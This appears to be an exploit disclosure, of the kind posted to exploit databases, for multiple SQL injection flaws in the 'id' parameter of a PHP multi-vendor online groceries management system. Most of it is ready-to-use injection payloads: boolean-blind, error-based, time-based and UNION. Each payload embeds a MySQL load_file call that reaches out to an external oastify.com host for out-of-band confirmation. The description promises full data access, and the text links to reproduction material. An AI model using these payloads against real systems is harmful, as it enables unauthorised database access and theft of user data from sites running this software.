## Titles: MVOGMS-by-oretnom23-v1.0 Multiple SQLi
## Author: nu11secur1ty
## Date: 05/21/2024
## Vendor: https://github.com/oretnom23
## Software: https://www.sourcecodester.com/php/15166/multi-vendor-online-groceries-management-system-phpoop-free-source-code.html
## Reference: https://portswigger.net/web-security/sql-injection
## Description:
The id parameter appears to be vulnerable to SQL injection attacks. The payload '+(select load_file('\\\\bkz31lhv9b53heljx53xbat9s0ytmkabdz4mvak.oastify.com\\hsm'))+' was submitted in the id parameter. This payload injects a SQL sub-query that calls MySQL's load_file function with a UNC file path that references a URL on an external domain. The application interacted with that domain, indicating that the injected SQL query was executed. The attacker can get all information from the system by using this vulnerability!
STATUS: HIGH- Vulnerability
[+]Exploits:
- SQLi Multiple:
```mysql
---
Parameter: id (GET)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
Payload: page=products/view_product&id=1'+(select load_file('\\\\bkz31lhv9b53heljx53xbat9s0ytmkabdz4mvak.oastify.com\\hsm'))+'' OR NOT 4546=4546 AND 'kABd'='kABd
Type: error-based
Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: page=products/view_product&id=1'+(select load_file('\\\\bkz31lhv9b53heljx53xbat9s0ytmkabdz4mvak.oastify.com\\hsm'))+'' OR (SELECT 5500 FROM(SELECT COUNT(*),CONCAT(0x7162707a71,(SELECT (ELT(5500=5500,1))),0x716b787871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'gspS'='gspS
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: page=products/view_product&id=1'+(select load_file('\\\\bkz31lhv9b53heljx53xbat9s0ytmkabdz4mvak.oastify.com\\hsm'))+'' AND (SELECT 8886 FROM (SELECT(SLEEP(7)))pJXF) AND 'wGeW'='wGeW
Type: UNION query
Title: MySQL UNION query (NULL) - 2 columns
Payload: page=products/view_product&id=1'+(select load_file('\\\\bkz31lhv9b53heljx53xbat9s0ytmkabdz4mvak.oastify.com\\hsm'))+'' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7162707a71,0x556a69616a647045664c74794d6c66474a71754969414e537961734b746e6b4a6b6e71544a4d5346,0x716b787871),NULL#
---
```
## Reproduce:
[href](https://www.patreon.com/posts/mvogms-by-v1-0-104644346)
## Proof and Exploit:
[href](https://www.nu11secur1ty.com/2024/05/mvogms-by-oretnom23-v10-multiple-sqli.html)
## Time spent:
00:19:00
--
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://packetstormsecurity.com/ https://cve.mitre.org/index.html
https://cxsecurity.com/ and https://www.exploit-db.com/
0day Exploit DataBase https://0day.today/
home page: https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
nu11secur1ty <http://nu11secur1ty.com/>